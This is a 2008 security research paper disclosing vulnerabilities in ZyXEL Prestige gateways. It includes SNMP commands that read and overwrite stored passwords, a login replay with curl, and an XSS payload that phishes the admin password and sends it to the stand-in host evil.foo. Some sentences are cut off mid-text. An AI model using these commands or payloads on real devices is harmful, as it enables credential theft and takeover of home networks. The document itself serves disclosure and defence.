

SNMP XSS Attack

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ZyXEL Gateways Vulnerability Research Adrian Pastor 19th February 2008 www.procheckup.com
PURPLE PAPER

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ZyXEL Gateways Vulnerability Research 2 www.procheckup.com 1 Let the journey begin This paper is the result of various security assessments performed on several ZyXEL Prestige devices in both, a controlled environment (computer lab) and production environments during several penetration tests [1]. By having full access to the target devices, it is possible to discover vulnerabilities that

could be missed during a penetration test, thus several ZyXEL models were purchased for testing in our computer lab. The inspiration for choosing ZyXEL gateways is solely due to discovering a privilege security assessment. Additionally, due to the popularity of such gateways (mainly used in home networks and SOHOs) which are shipped by many ISPs throughout the world, we thought it was a good product to investigate further. There are two types of attacks featured in this paper which we believe might be potentially new: Persistent XSS via SNMP Remote wardriving over the Internet Other ZyXEL models not mentioned in this paper might also be vulnerable to the same issues discussed. Additionally, not all ZyXEL models mentioned in this paper have been tested for the same vulnerabilities due to time constraints and lack of full unrestricted access (i.e.: full administrative access was not possible during a penetration test). The test results of several penetration tests show that some of the vulnerabilities mentioned in his paper are remotely exploitable due to the fact that ZyXEL Prestige gateways run services such as HTTP, Telnet and SNMP by default on the WAN interface. This is at least true among the ISPs used by some of our customers who we offer penete that in the past, ZyXEL devices have been known to be shipped by some ISPs [2] running remote services by default. For clarity reasons, irrelevant headers have been removed whenever HTTP requests and responses are shown.

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ZyXEL Gateways Vulnerability Research 3 www.procheckup.com 2 Vulnerabilities 2.1 Privilege escalation from user to admin Description Certain ZyXEL Prestige gateways offer two types of accounts: user and admin. The user account is a limited account which can only read status information - known as - such as uptime, CPU usage, firmware version and so on. The user account can be thought of as a guest account with very limited privileges. The problem is that some gateways supporting user accounts are susceptible to privilege escalation by simply accessing URLs that would otherwise only be available on the administrative menu. So by simply accessing URLs that would usually be accessible by the admin user after authenticating, it is possible to escalate from user to admin privileges. Details The following are some examples of administrative URLs of different sections/functionalities present on ZyXEL Prestige devices. Accessing such URLs would allow a guest user to retrieve administrative settings (i.e.: WEP key, port-forwarding rules, ISP and dynamic DNS credentials) and also alter such settings. Please note that some administrative URLs may vary depending on the gateway model. For more information about URL paths of the web interface on different ZyXEL devices please visit: <http://support2.zyxel.fr/webGUI/> and <http://www.zyxeltech.de/> WAN: /WAN.html (contains PPPoE ISP password) WLAN (contains WEP key): /WLAN_General.html and /WLAN.html LAN: /LAN_IP.html NAT: /NAT_General.html Firewall: /Firewall_DefPolicy.html Content Filter: /CF_Keyword.html Static Route: /StaticRoute.html Bandwidth MGMT: /BW_Title.html Dynamic DNS (contains DDNS credentials): /rpDyDNS.html Remote MGMT: /RemMagWWW.html UPnP: /rpUPNP.html System: /rpSysAdmin.html

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ZyXEL Gateways Vulnerability Research 4 www.procheckup.com Logs: /ViewLog.html Tools: /rpFWUpload.html Diagnostic (contains ping tool): /DiagGeneral.html Figure 1 Example of admin menu Since ZyXEL Prestige devices do not require the guest account to change the default password (user), it is realistic to assume privilege escalation can be exploited in the wild especially in setups where the web interface is publicly available. A lot of users reuse the same password

among different services/systems. Consequently, page (/WAN.html) or Dynamic DNS (/rpDyDNS.html), also works for the admin account of the ZyXEL device via the web or telnet interface.

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ZyXEL Gateways Vulnerability Research 5 www.procheckup.com An attacker could also potentially get the admin password from config file after be either encoded or encrypted since the contents are not human readable. Therefore, further research of how data is stored in the config file is required by the attacker. Models/versions found to be vulnerable to this issue Model: P-660H-D1 / ZyNOS Firmware Version: V3.40(AGD.2) | 04/26/2006 Model: P-660H-D3 / ZyNOS Firmware Version: V3.40(AHZ.0) | 05/10/2006 Model: P-660HW-D1 / ZyNOS Firmware Version: V3.40(AGL.3) | 05/29/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(ATM.0) | 12/26/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.0) | 05/01/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.3) | 7/11/2007 Models/versions known to be not vulnerable Model: P-660HW-D1 / ZyNOS Firmware Version V3.40(AGL.4) | 01/10/2007 Models that do have a user (guest) account but are not vulnerable to this issue will return the following message when trying to access an admin URL with the user account: Protected Object This object on the <model-name> is protected Solution At the moment there is no firmware update that fixes this issue. However, changing the default user (guest) password to a hard-to-guess password would resolve this issue as the attacker needs user access before escalating to admin privileges.

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ZyXEL Gateways Vulnerability Research 6 www.procheckup.com 2.2 SNMP read and SNMP write access enabled by default Description SNMP read and write access is enabled by default from any source IP address. Thus, by default, attackers can retrieve and change the configuration of ZyXEL gateways regardless of their source IP address. Details ZyXEL Prestige gateways support MIBs RFC-1215 and MIB II as defined in RFC-1213 as well as ZyXEL private MIBs. By default, the community string for read and write operations is public. Unlike, other devices from other brands, the default write community string is not private, but rather the same as the community string for read operations: public. Thus, attackers can extract configuration settings and also change them using the same SNMP community string. It is interesting that sensitive data such as the username and password for the dynamic DNS service can be obtained via SNMP. The OIDs corresponding to the credentials of the www.dyndns.org dynamic DNS service are the following: ddns hostname: 1.3.6.1.4.1.890.1.2.1.2.3.0 ddns email: 1.3.6.1.4.1.890.1.2.1.2.4.0 ddns username: 1.3.6.1.4.1.890.1.2.1.2.5.0 ddns password: 1.3.6.1.4.1.890.1.2.1.2.6.0 The following is an example of a snmpget command that extracts the Dynamic DNS service password provided that the target device is configured to use Dynamic DNS: \$ snmpget -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.2.1.2.6.0 SNMPv2-SMI::enterprises.890.1.2.1.2.6.0 = STRING: "MYDDNSP4SS" The following snmpwalk command walks the entire list of Dynamic DNS parameters including username and password: \$ snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.2.1.2 SNMPv2-SMI::enterprises.890.1.2.1.2.1.0 = INTEGER: 2 SNMPv2-SMI::enterprises.890.1.2.1.2.2.0 = INTEGER: 2 SNMPv2-SMI::enterprises.890.1.2.1.2.3.0 = STRING: "myddnshostname" SNMPv2-SMI::enterprises.890.1.2.1.2.4.0 = STRING: "myemail@domain.foo" SNMPv2-SMI::enterprises.890.1.2.1.2.5.0 = STRING: "myddnsusername" SNMPv2-SMI::enterprises.890.1.2.1.2.6.0 = STRING: "MYDDNSP4SS" SNMPv2-SMI::enterprises.890.1.2.1.2.7.0

= INTEGER: 2 The following sequence of commands changes the dynamic DNS password in order to write community string (public):

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ZyXEL Gateways Vulnerability Research 7 www.procheckup.com \$ snmpset -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.2.1.2.6.0 string DEFACED SNMPv2-SMI::enterprises.890.1.2.1.2.6.0 = STRING: "DEFACED" \$ snmpget -v2c -c public 192.168.1.1 1.3.6.1.4.1.890.1.2.1.2.6.0 SNMPv2-SMI::enterprises.890.1.2.1.2.6.0 = STRING: "DEFACED" \$ snmpset -v2c -c public 192.168.1.1 system.sysName.0 string DEFACED SNMPv2-MIB::sysName.0 = STRING: DEFACED snmpget -v2c -c public 192.168.1.1 system.sysName.0 SNMPv2-MIB::sysName.0 = STRING: DEFACED Note: some parameters such as the system description (system.sysDescr.0) which contains the make and model of the device are not changeable via SNMP write operations. Models/versions found to be vulnerable to this issue (both, SNMP read and write operations were tested successfully) Model: P-660H-D1 / ZyNOS Firmware Version: V3.40(AGD.2) | 04/26/2006 Model: P-660H-D3 / ZyNOS Firmware Version: V3.40(AHZ.0) | 05/10/2006 Model: P-660HW-T1 / ZyNOS Firmware Version: V3.40(ACI.6) | 04/27/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.3) | 7/11/2007 Solution Disable SNMP completely or change the default community strings to hard-to-guess values. Only allow trusted IP addresses to perform read/write/trap operations. The following screenshot shows menu 22 on the telnet interface which allows the only allow a trusted host to perform read/write operations. By default the Trusted Host value is 0.0.0.0 which means that SNMP read and write operations can be performed from any IP address. Figure 2 SNMP settings menu accessed via Telnet

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ZyXEL Gateways Vulnerability Research 8 www.procheckup.com 2.3 Persistent XSS via SNMP Description Although there are several persistent XSS vulnerabilities on the web interface of ZyXEL Prestige gateways, we wanted to mention the ones that we found most interesting. It is possible to cause a persistent XSS condition by changing certain parameters via n any type of characters such as angle brackets to certain parameters, a persistent XSS attack is launched when the parameters containing the payload are printed on the browser via the web interface of the device. Details Provided that an attacker can perform SNMP write operations, he is then able to inject malicious HTML/JavaScript code through parameters such as system.sysName.0 . The maximum allowed length for the system name variable is 32 characters. However, this length might be enough to inject a fully unrestricted JavaScript snippet file which could be located on a third-party site: <script src=http://evil.foo/X> Note: no single or double quotes are required to enclose the URL assigned to the src attribute. Also, a closing script tag </script> is not necessary for the third-party JS file to be run successfully. This is at least true on Firefox 2. As an example, the code to be located on the http://evil.foo/X JavaScript file could prompt the admin user to re-enter his/her password. Once the admin password s site (phishing attack). The contents of the X JS file would look similar to the following (works on Firefox 2 but not Internet Explorer 7): do{p=prompt("ZyXEL session timeout: please enter your password again");while(p==" " | p==null);document.location="http://evil.foo/?"+p The persistent (/rpSysStatus.html). Further exploration might lead to discovering other pages that return such payload. Other parameters might also allow persistent XSS via SNMP.

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ZyXEL Gateways Vulnerability Research 10 www.procheckup.com 2.4 Poor session management allows hijacking of admin sessions Description The session management mechanism of ZyXEL Prestige gateways solely relies on the user's source IP address for keeping track of the authentication state (i.e.: logged in versus logged out). This is known as IP-based session management [3] Details Instead of assigning an unbreakable and unpredictable unique session ID to each authenticated session, the device blindly trusts the user's source IP address when retrieving and changing administrative settings. Scenarios in which admin user sessions can be hijacked include, but are not limited to, the following: 1. The attacker is located in the same LAN as the admin user and all users in this network share the same proxy to access the web. Provided that the admin user has not checked "bypass proxy for local addresses" in his browser, the attacker could hijack the admin session, since both the attacker and the admin user access the device using the same source IP address when connecting via the proxy. This attack can be scripted in order for the session hijack to be more feasible. 2. The attacker is located in the same LAN as the admin user but the admin user does not use a proxy when managing the device. Provided the attacker knows the admin user's IP address (i.e.: via sniffing), he could impersonate him/her by simply changing the network connection settings to use the admin's IP address. This attack could also be scripted in order for the session hijack to be more feasible. Note: this type of session hijacking vulnerability is completely unrelated to classic TCP sequence session hijacking. Therefore the attacker does not need to be able to sniff the traffic between the victim user and the target device. The following is an example of an authentication request and the corresponding server's response: Request: POST /Forms/rpAuth_1 HTTP/1.1 Host: 192.168.1.1 Content-Length: 102 <CRLF>

LoginPassword=ZyXEL+ZyWALL+Series&hiddenPassword=e0fac2dd2c00ffe30f27a6d14568cb4f&Prestige_Login>Login <CRLF> <CRLF> Response: HTTP/1.1 303 See Other Location: http://192.168.1.1/rpSys.html Content-Length: 0 Server: RomPager/4.07 UPnP/1.0

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ZyXEL Gateways Vulnerability Research 11 www.procheckup.com After logging in successfully there is no authentication data within requests sent by the client (web browser) that lets the device's web interface "know" that such requests are authenticated. Notice there is no password, or session IDs being transferred within requests after logging in: GET /rpSys.html HTTP/1.1 Host: 192.168.1.1 <CRLF> <CRLF> If the timeout period was disabled (the default value is five minutes), this issue would become much more serious as the attacker could hijack the admin session at any time by simply accessing the web interface from the same IP address as the administrator. Models/versions found to be vulnerable to this issue Model: P-660H-61 / ZyNOS Firmware Version: V3.40(PE.9) | 05/13/2005 Model: P-660H-D1 / ZyNOS Firmware Version: V3.40(AGD.2) | 04/26/2006 Model: P-660H-D3 / ZyNOS FIRMWARE Version: V3.40(AHZ.0) | 05/10/2006 Model: P-660HW-D1 / ZyNOS Firmware Version: V3.40(AGL.3) | 05/29/2006 Model: P-660HW-D1 / ZyNOS Firmware Version V3.40(AGL.4) | 01/10/2007 Model: P-660HW-T1 / ZyNOS Firmware Version: V3.40(ACI.6) | 04/27/2006 Model: P-660R-T1 / ZyNOS Firmware Version: v2 V3.40(AGJ.3) | 02/06/2007 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.0) | 05/01/2006 Model: P-661HW-D1 / ZyNOS

Firmware Version: V3.40(ATM.0) | 12/26/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.3) | 7/11/2007 Model: P-662HW-D1 / ZyNOS Firmware Version: V3.40(AGZ.3) | 7/10/2006 Model: P-662HW-D1 / ZyNOS Firmware Version: V3.40(AGZ.4) | 10/18/2006 Note: this issue is suspected to affect most ZyXEL Prestige models. Solution Reduce idle session timeout to one minute. Do not connect to the web interface of your ZyXEL gateway via a shared proxy.

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ZyXEL Gateways Vulnerability Research 12 www.procheckup.com 2.5 Authentication vulnerable to replay and password cracking attacks Description ZyXEL Prestige gateways don't support encryption. The user's password is simply protected via MD5 hashing without salting, making the authentication vulnerable to replay and password cracking attacks. Details Since there is no encryption (i.e.: SSL/TLS), nor challenge response mechanism implemented, once an attacker captures (i.e.: through sniffing) an authentication request such as the following, he can simply replay it again: POST /Forms/rpAuth_1 HTTP/1.1 Host: 192.168.1.1 Content-Length: 102 <CRLF> LoginPassword=ZyXEL+ZyWALL+Series&hiddenPassword=e0fac2dd2c00ffe30f27a6d14568cb4f&Prestige_Login=Login <CRLF> <CRLF> Such request could be replayed with a simple HTML form, or any tool that allows you to craft a HTTP request. In this case we use curl (the 'Referer' header is not necessary for the auth request to be processed successfully): Request: \$ curl -s -i -d "LoginPassword=ZyXEL+ZyWALL+Series&hiddenPassword=e0fac2dd2c00ffe30f27a6d14568cb4f&Prestige_Login=Login" "http://192.168.1.1/Forms/rpAuth_1" Response: HTTP/1.1 303 See Other Location: http://192.168.1.1/rpSys.html Content-Length: 0 Server: RomPager/4.07 UPnP/1.0 EXT: Note that such request is always the same for a given password (no challenge-response). In this case the password used is "MYPASSWORD" Since, there is no salting used in the MD5 hashing mechanism, the password can be cracked via simple active offline cracking or rainbow tables lookup. However, because the auth requests can be replayed, the attacker doesn't need to crack the password in order to login successfully. Note: the user's password is MD5-hashed via the JavaScript passwordMD5() function which is loaded within the login page

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ZyXEL Gateways Vulnerability Research 13 www.procheckup.com Models/versions found to be vulnerable to this issue Model: P-660H-61 / ZyNOS Firmware Version: V3.40(PE.9) | 05/13/2005 Model: P-660H-D1 / ZyNOS Firmware Version: V3.40(AGD.2) | 04/26/2006 Model: P-660H-D3 / ZyNOS Firmware Version: V3.40(AHZ.0) | 05/10/2006 Model: P-660HW-D1 / ZyNOS Firmware Version: V3.40(AGL.3) | 05/29/2006 Model: P-660HW-D1 / ZyNOS Firmware Version: V3.40(AGL.4) | 01/10/2007 Model: P-660HW-T1 / ZyNOS Firmware Version: V3.40(ACI.6) | 04/27/2006 Model: P-660R-T1 v2 / ZyNOS Firmware Version: V3.40(AGJ.3) | 02/06/2007 Model: P-660R-T1 / ZyNOS Firmware Version: v2 V3.40(AGJ.3) | 02/06/2007 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.0) | 05/01/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(ATM.0) | 12/26/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.3) | 7/11/2007 Model: P-662HW-D1 / ZyNOS Firmware Version: V3.40(AGZ.3) | 7/10/2006 Model: P-662HW-D1 / ZyNOS Firmware Version: V3.40(AGZ.4) | 10/18/2006 Note: this issue is suspected to affect most ZyXEL Prestige models. Solution In order to restrict this vulnerability to being exploited locally only, administrators are recommended to access the web interface from the LAN rather than through the Internet.

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ZyXEL Gateways Vulnerability Research 14 www.procheckup.com 2.6 Disclosure of credentials

Description The credentials (username/password) for multiple services and functionalities are returned to the web browser in the clear in client-side HTML source code. Some of the types of credentials disclosed include ISP (i.e.: PPPoE), SNMP, DDNS (Dynamic DNS) and WEP key. Since no encryption is supported by ZyXEL Prestige devices, these credentials travel in the clear when accessing the page that embeds them within HTML source code. The passwords are stored as type="password" fields which only mask the passwords in the rendered version of the HTML and can be easily obtained by viewing the source code of the current HTML page with any web browser. Such sensitive information could be obtained in at least two ways: 1. by sniffing the traffic since the credentials in the HTML form travel in the clear 2. by having access to HTML pages cached by a web browser (i.e.: malware attacks) 3. by exploiting the privilege escalation vulnerability discussed in this paper (escalate from user to admin account) Additionally, the admin password is transferred from the web browser to the ZyXEL be changed to a new one. The page that prompts the admin user to change the default admin password (/passWarning.html) sends the new password in the clear without further protection: POST /Forms/passWarning_1 HTTP/1.1 Host: 192.168.1.1 Content-Length: 45 <CRLF>

PassNew=MYNEWPASS&PassConfirm=MYNEWPASS&sysSubmit=Apply <CRLF> <CRLF>

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ZyXEL Gateways Vulnerability Research 15 www.procheckup.com Figure 4 "Change default admin password" page sends password in the clear The same problem exists on a different page (/rpSysAdmin.html) where the password admin can be changed: POST /Forms/rpSysAdmin_1 HTTP/1.1 Host: 192.168.1.1 Content-Length: 73 <CRLF>

sysUserNewPasswd=MYNEWPASS&sysUserConfirmPasswd=MYNEWPASS&sysSubmit=Apply <CRLF> <CRLF>

Figure 5 "Set new admin password" page also sends password in the clear

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ZyXEL Gateways Vulnerability Research 16 www.procheckup.com Details ISP credentials (username/password) disclosure: /WAN.html : [snip] <input type="text" name="wan_UserName" size="30" maxlength="70" value="myusername@myisp.foo" /> <input type="password" name="wan_Password" size="30" maxlength="70" value="MYP4SSWORD" /> [snip] And /wzPPPOE.html : <INPUT TYPE="TEXT" NAME="wzPPPOE_UserName" SIZE="30" MAXLENGTH="70" VALUE="myusername@myisp.foo"> <INPUT TYPE="PASSWORD" NAME="wzPPPOE_Password" SIZE="30" MAXLENGTH="70" VALUE="MYP4SSWORD"> Figure 6 The ISP password can be read by viewing the source of the page SNMP credentials (read, write and trap community strings): /RemMagSNMP.html: [snip] <input type="text" name="SNMP_getCommunity" size="31" maxlength="31" value="public" /> <input type="text" name="SNMP_setCommunity" size="31" maxlength="31" value="public" /> <input type="text" name="SNMP_trapCommunity" size="31" maxlength="31" value="public" /> [snip] Note: SNMP settings page is not available on some models such as P-660HW-T1 WLAN WEP key(s): /WLAN.html Note: this page is only available on wireless gateways for obvious reasons. [snip] <INPUT TYPE="TEXT" NAME="WEP_Key1" SIZE="60" MAXLENGTH="60" VALUE="0x3132333435"> [snip]

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ZyXEL Gateways Vulnerability Research 17 www.procheckup.com Figure 7 WEP keys are returned in the clear on the WLAN page Dynamic DNS credentials: /rpDyDNS.html [snip] <INPUT TYPE="TEXT" NAME="sysDNSHost" VALUE="myhostname"> <INPUT TYPE="TEXT" NAME="sysDNSEmail" VALUE="myemail@domain.foo"> <INPUT TYPE="TEXT" NAME="sysDNSUser" VALUE="myusername"> <INPUT TYPE="PASSWORD" NAME="sysDNSPassword" VALUE="MYPASSWORD"> [snip] Models/versions found to be vulnerable to this issue Model: P-660H-61 / ZyNOS Firmware Version: V3.40(PE.9) | 05/13/2005 Model: P-660H-D1 / ZyNOS Firmware Version: V3.40(AGD.2) | 04/26/2006 Model: P-660H-D3 / ZyNOS FIRMWARE Version: V3.40(AHZ.0) | 05/10/2006 Model: P-660HW-D1 / ZyNOS Firmware Version: V3.40(AGL.3) | 05/29/2006 Model: P-660HW-D1 / ZyNOS Firmware Version V3.40(AGL.4) | 01/10/2007 Model: P-660HW-T1 / ZyNOS Firmware Version: V3.40(ACI.6) | 04/27/2006 Model: P-660R-T1 v2 / ZyNOS Firmware Version: V3.40(AGJ.3) | 02/06/2007 Model: P-660R-T1 / ZyNOS Firmware Version: v2 V3.40(AGJ.3) | 02/06/2007 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.0) | 05/01/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(ATM.0) | 12/26/2006 Model: P-661HW-D1 / ZyNOS Firmware Version: V3.40(AHQ.3) | 7/11/2007 Model: P-662HW-D1 / ZyNOS Firmware Version: V3.40(AGZ.4) | 10/18/2006 Note: this issue is suspected to affect most ZyXEL Prestige models.

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ZyXEL Gateways Vulnerability Research 18 www.procheckup.com 3 Attacks 3.1 Remote wardriving over the Internet! Several ZyXEL wireless gateways come with built-in Wi-Fi discovering capabilities similar to tools such as Netstumbler. By launching the wlan scan command, the user can obtain various parameters regarding the Wi-Fi networks visible to the ZyXEL gateway. This command allows the gateway to be used as Wi-Fi discovery tool in a vehicle or if the IP address corresponds to a defined geographical location, it can be used to discover Wi-Fi networks in that location over the Internet. Figure 8 The information provided includes: SSID, MAC address, channel, signal strength, network mode (infrastructure/ad hoc) and security settings (whether encryption is enabled or not). In order to enter the wlan scan command, the Command Interpreter Mode needs to be accessed on menu 24 System Maintenance. The following expect script automates the process of submitting the wlan scan command. Such script could be modified to submit such a command repeatedly, thus acting as a simple wardriving tool for those who would like to use ZyXEL gateways as wardriving devices.

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ZyXEL Gateways Vulnerability Research 19 www.procheckup.com en-US#!/usr/bin/expect # Adrian Pastor ProCheckUp Ltd # zyxel-wlan-scan.exp # obtain output of "wlan scan command" if {[length \$argv] == 0} { puts "usage: ./zyxel-wlan-scan.sh <password>" puts "tip: if special symbols are part of password, then enclose with quotation marks" exit 1 } # change if necessary set IP 192.168.1.1 set PORT 23 set TIMEOUT 5 # make sure you have netcat installed on your system spawn nc -vn -w\$TIMEOUT \$IP \$PORT expect "Password:" send "\$argv\r" expect "Main Menu" send "24\r" expect "System Maintenance" send "8\r" expect ">" # expect interactive prompt send "wlan scan\r" expect "SSID" send "exit\r" # if we don't exit properly, the telnet daemon denies connections until timeout occurs send "99\r"

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ZyXEL Gateways Vulnerability Research 20 www.procheckup.com 3.2 Attacking the internal network over the Internet As any other gateway devices, ZyXEL gateways would allow crackers to probe machines located in the LAN after being compromised. There several techniques an attacker can use to discover client machines connected to the LAN managed by the ZyXEL gateway: Retrieve DHCP table: such feature is available by default on the web interface Perform a ping sweep: ZyXEL gateways have a built-in tool on the web interface (/DiagGeneral.html) that could be scripted in order to accomplish automatic ping sweeping. This approach could be useful for finding machines that use static IP addresses instead of dynamic IP addresses assigned via DHCP Once an attacker has decided which internal client machine to attack, he could do so directly over the Internet by: Setting up a port-forwarding rule on a port on the target machine Expose the target internal machine on the Internet by placing it on the DMZ Installing a proxy tool on the device. However, this method might require the attacker to reverse engineer the ZyNOS firmware.

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ZyXEL Gateways Vulnerability Research 21 www.procheckup.com 4 Password security observations The default user (guest) password is user. The default admin password is 1234, although the admin user is suggested to change the default password after logging in (this is true in certain models at least). However, it is possible to change the admin password to insecure values such as a one-character long string. It is also possible to ignore the prompt that asks the user to change the default admin password. The user is never asked to change the default password for the user (guest) account. Figure 9 the user is suggested to change the default admin password after logging in

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ZyXEL Gateways Vulnerability Research 23 www.procheckup.com 6 Credits Research and paper by Adrian Pastor of ProCheckUp Ltd (www.procheckup.com) Special thanks go to the following individuals for their kind feedback: Richard Brain, Kender Arg, Monserrate Carlo, Jan Fry, Amir Azam and Petko D. Petkov.